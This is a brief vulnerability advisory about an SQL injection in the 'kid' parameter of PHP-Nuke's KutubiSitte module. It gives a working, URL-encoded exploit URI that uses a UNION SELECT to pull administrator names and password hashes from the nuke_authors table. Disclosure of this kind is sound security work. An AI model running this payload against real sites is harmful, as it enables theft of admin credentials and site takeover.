|
PHP-Nuke KutubiSitte Module 'kid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URI and exploit code are available: http://www.example.com/modules.php?modules.php?name=KutubiSitte&h_op=hadisgoster&kid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A |
|
|
Privacy Statement |
